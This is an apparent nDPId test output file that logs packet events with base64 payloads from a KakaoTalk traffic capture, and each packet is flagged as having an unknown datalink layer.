+00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1401,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":145240,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBI1f2AbDKYfq4mg1Sapdp3JqJcmpNV3kTqKArIiS7zB\/S8jR8NvbHKjQ0J7J4mu9N\/omoNWnZjzxKxJWhvxEPUTX7O"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1401,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1402,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":147467,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHe5uAbE\/fiz4FmguGVRkbZ0fzpzYu68Oo+H8yDveDPpjj3mMgMHy6de19NFG3Ryd+sq73IqUGhA+uLt+NOk1TTGE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1402,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1403,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":159461,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABFchaAbDJlfq1nQ1Sapdqs1S9tD1wgSbZEe6UaIIMxjrVpwE9AEAdMkOjmkFS+4G9Vf7giWe76NAiV5hAPSqE3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1403,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1404,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":160254,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJxyqAbE\/giz4JWguGVRnbQDBVQWZPPIpJflRo2IqLrqZ55Ean2nEe+lp+iOIZaWfr6p45AKvjU\/wupw9gQRlSAuIOVA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1404,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1405,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":175513,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHRH9FQHJAa4KGFK8WgQsOABRuJeAbDJnfq1uw1Sapdoja1l0L6+QxYcYhxZ0Kdzc+hyTRbUEAxYtXdRpUPEAobq82dyZwz5fbfGnSF5hRfjiSzcGFJ8PDlDW4Oz7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1405,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1406,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":176215,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABIx7qAbDJmfq1rA1SapdoaQ2f68pwcljCt7vEMe6jnSEebicGKhH7skLday4eE33oUdg973a+vnAivtEWzy7YeFJ6X"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1406,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1407,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":191321,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIktmAbE\/hiz4NGguGVRnNGxXfGJLN7caJcIJtiZgGoXRt+YRW4i4m1pom6jUWcKyaRg7B81tb7oWgEpFX43QFWWpu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1407,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1408,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":191596,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAQBHaTAoYUrwByQGuKBxaBgBCLi+AbDKZfq4qQ1SapdoDL4GybWHW2L7du0BBgnxcLTME3wMxUMw0C3ydMsJtva\/QkAAp0+6YX5zDz0Rn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1408,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1409,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":209845,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGeteAbE\/iiz4Q2guGVRmAT1AtF65B0S+taBGB9Uw5wXNRkVQWUt0wlz0TS1BfBL+21dW0h3ElbuqOgT0gP5g91w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1409,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1410,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":212897,"pkt_caplen":160,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":160,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJAAAEAAPxHbEgoYUrwByQGuLDhaBAB8lV+AbFATiz7ImguGVRlKdXynPSB\/oJp31zuDTxpSrdpVfw1hTuem9YdsZtjlbzt+krndymO\/Bm4aKjo1SuvmF2Im0s8uYTIVNoZV5sNnahHfN1neFZmSzGlO6foTkmwB\/vzN5iAGJvBDiV9u\/1nWrQgf9cdmmQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1410,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1411,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":217322,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBFpzuAbDKafq4uA1Sapdovea\/BFJT6cJpCHtPDEVGWg\/v0myuL0RpfhF7t6xxtmvBkwYYmBw9DHUzPneJo16BF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1411,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1412,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":220008,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMAAAEAAPxHa4goYUrwByQGuLDhaBACsJaqAbFAUiz7MWguGVRlkaHm7ta8aA23ParZEpFfiA1ubXjrBL1KnlPhi3ca2\/QiVGaL9Hd80LyhMHF7qOBvegOjLzaf6lA2ZZS7qAJXXindTobH0syuwdtWdP8BN2BXcZ3BZ0b9y0jWvWyTZk0+WjS+wWTJ9JnzAfrP0U9HQScdYvgJJ7ZHIiZ0oLZASBIfbUqsAqPhxlTAqr2cYKQrifZF9As8ezA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1412,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1413,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":243262,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABK2QmAbDJofq1yg1Sapdp9eIYnzCF8IV7iPq\/rLP+mg+8ZrKW7uYey9jGxgNw1SjuQRU0yxk3QZpZrM1ULOfmP7WFw4bc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1413,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1414,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":264716,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJcAAEAAHBH94wHJAa4KGFK8WgYoHACD+SWAbE\/jiz4UmguGVRlY04l2D+UOo8XgeJVf9FDQvV0IfInKRwAA9ZNLJgkkR7AjZjqVsdBnX7yRtrC6cHlbIJBZpO1UPH8OnTKAttX4hnqfIt3T6t+1MiZHtrB0ds8YLCZhe4kZD2lbsPWjgjk090QlXCQ5+7RLo90OddM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1414,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1415,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":283393,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIAAAEAAHBH9+gHJAa4KGFK8WgYoHABsbCaAbE\/kiz4YWguGVRl5K6Ze7GPwVKEdmoe3jn1W3eak3yKa7eaKGZzL+JDSIkk63UyLZt9HVPaXM+KVqBONV9Hvg2LSyxc4eGHZB2+6O4TIi42dllMU28eyCk5XeBUXNZfjGMBU"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1415,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1416,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":288733,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABINXmAbDJpfq12Q1SapdoEcNkrSNLrtD9z\/jW8Y8LOu7Sw0P1zKClaOTnXsmJLxljX1Du+8GQlyazv0fJCOUOJ4Y63"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1416,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1417,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":312689,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALkAAEAAPxHa6QoYUrwByQGuLDhaBAClnz6AbFAViz7QGguGVRn2VWE7oIIigE5+PjMBxQAlKZ1ggVF7RjKbtTeUWj6uDeZpplR\/DASJJsNY6BCnEWlUjFR6lifsmAljxzhOaHs3e1GebBlEb2FSGQAuScfBj+BJlsak06sE3OFLuMl+o++\/GwvGlFiu6GhNwVyNxvz0n0J0ZUWEXZBBc1k2udfD8uBs2ekzJTNfCIjQNR5GeDNP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1417,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1418,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":317877,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBFkUmAbDKbfq4xw1Sapdp8AMvrxKIaGPEMETTE10VShDQWy4Qn5irF9qQW+o+LuOKbzcNmoPH7VhgmqgqjTqMm"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1418,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00573{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1419,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":319953,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALUAAEAAPxHa7QoYUrwByQGuLDhaBAChCyWAbFAWiz7T2guGVRlMyxV4WbNXHMjdjlyFGHacTk6D8KOY8c5KHfwmpxLmY1l5xqAjf1SYgTaLsumjCVmIlD9jzS8w\/DWE4VnZbAvr\/gpsTyKnRsrG7oCpZavuRfxH9Qs\/Q7Z0ysS2TsS7Fm+mmtROLz8eLfEM4iUAJPuOz3Tz\/Wblx7jdp\/zLgIFiaDBV7VCXaqh3uDYx5kA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1419,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1420,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":345435,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEKx6AbDJqfq16A1SapdqIOk6uC8fAHYX\/DeMwnrucS\/GK92i0glFi5sYI3m3k220QCDHyIkZeXVA7EnSyu9k="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1420,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1421,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":363928,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAQBHaSwoYUrwByQGuKBxaBgBDrZ2AbDKcfq41g1SapdqmeCHHC7W0hgVHYkrbuLA9JGTQqK7bcCZCsnDTcPbFK24R+9Ssh9FjD5iLc9sVNg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1421,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1422,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":371344,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGQWaAbE\/liz4cGguGVRlYxXlTtPRiUDEjUJoObRobqUVSX0YSxNKF9\/GJPuMj61FUmlT91n5eEm+u6ynjKgkRog=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1422,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1423,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":399390,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHRH9HwHJAa4KGFK8WgQsOABHIMKAbDJrfq19w1Sapdrizn2lfFOvQkENygU44pE0TuLdrm3BKJ2aHOIJB3HfugeKghBJ+5nZDXtE4r0UNNrfJjY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1423,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1424,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":406226,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBIZtyAbDKdfq45Q1SapdqE\/LK0H+JDTsWDldhKyBEX4Xyxj0wqY3\/JcFlckcDWBHe4DZSNUCuTrYWosCt5EGjebIKJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1424,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1425,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":410102,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH8AAEAAPxHbIwoYUrwByQGuLDhaBABrgBSAbFAXiz7XmguGVRkKLiq\/xUzeLPcWE+Xy+VmGTGefVWY1KOIO+C5rBOnRv2gUwqhd9IFcTbuyrkNy5aaWzW6h4BstdOV7GmxdI9bhKYU21kRuMuIiFFKhhTBACUj22L5G7lE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1425,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1426,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":445075,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHRH9HQHJAa4KGFK8WgQsOABJsAGAbDJsfq2Bg1Sapdor+cONv7HiiPOgtupJ4sg8CWQScPIJ8\/LoL2cheTICF2CyYgu0xLrRlYjvwoET+Shsl+EIIQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1426,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1427,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":479529,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABH1B6AbE\/miz4f2guGVRmeddZxdoRhkGbMIdAqTVh0HkmqCSqUvQqPiMxhEtZGCugG1E92pk\/frR4gK4YosU\/YE1A="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1427,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1428,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":484931,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAQBHaRQoYUrwByQGuKBxaBgBJ+o6AbDKefq49A1SapdpU2gP0L22O2nqipzcxFMdYb408y+EBPOgnumKoF9VXwTIh3xT\/I4CvqqqDNov1QZWqIND+vA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1428,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1429,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":512671,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABLMHGAbFAYiz7bWguGVRmFeAa4\/3KJyTCtYFfH9JpmrGvbGqam98lWZp1cvtOjqGLeN1FEKT4ZUZpjreo9GLQyJm4Sprmw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1429,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1430,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":512854,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGcXaAbFAZiz7fGguGVRms9hk3St9dfnOazgwjkuocBVNy\/0tCFNb5KmvA2I4EfJENOAmnRCIuR\/Ijn87OomrETg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1430,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1431,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":526526,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBG82SAbDKffq5Aw1Sapdr+I\/mJCIkY1kad9tOTxFw6sBuPDNVz6RVomSZJJ\/vCFQxG7JFduMWSVq+YyaDR6Dhq1A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1431,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1432,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":611823,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABEBnSAbFAaiz7i2guGVRmXl4\/Kxa9KrkU7RrldcFWvtJaIZ+3Bzhz0LMUtOoXqu8bPxvbukwLbwSDFDvGvLck="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1432,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1433,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":611914,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABLKjiAbFAbiz7mmguGVRkr9Zx8ql94GY+LAdOnY+W1ZL55l81Df7OlSGwR039A007CjQ\/BgPebqL2GGeKmp6s53RGdyqeN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1433,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1434,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":618048,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAQBHaOQoYUrwByQGuKBxaBgBVpF2AbDKgfq5Eg1Sapdr8lsLxqhuuwCWPt6Odp21WKrLCX35Kx6+wx08QaSzTOZxmxTP78JsJeYVFkFh5JT5MXxU9xTHUqPY9ZnzbMWUfyg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1434,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 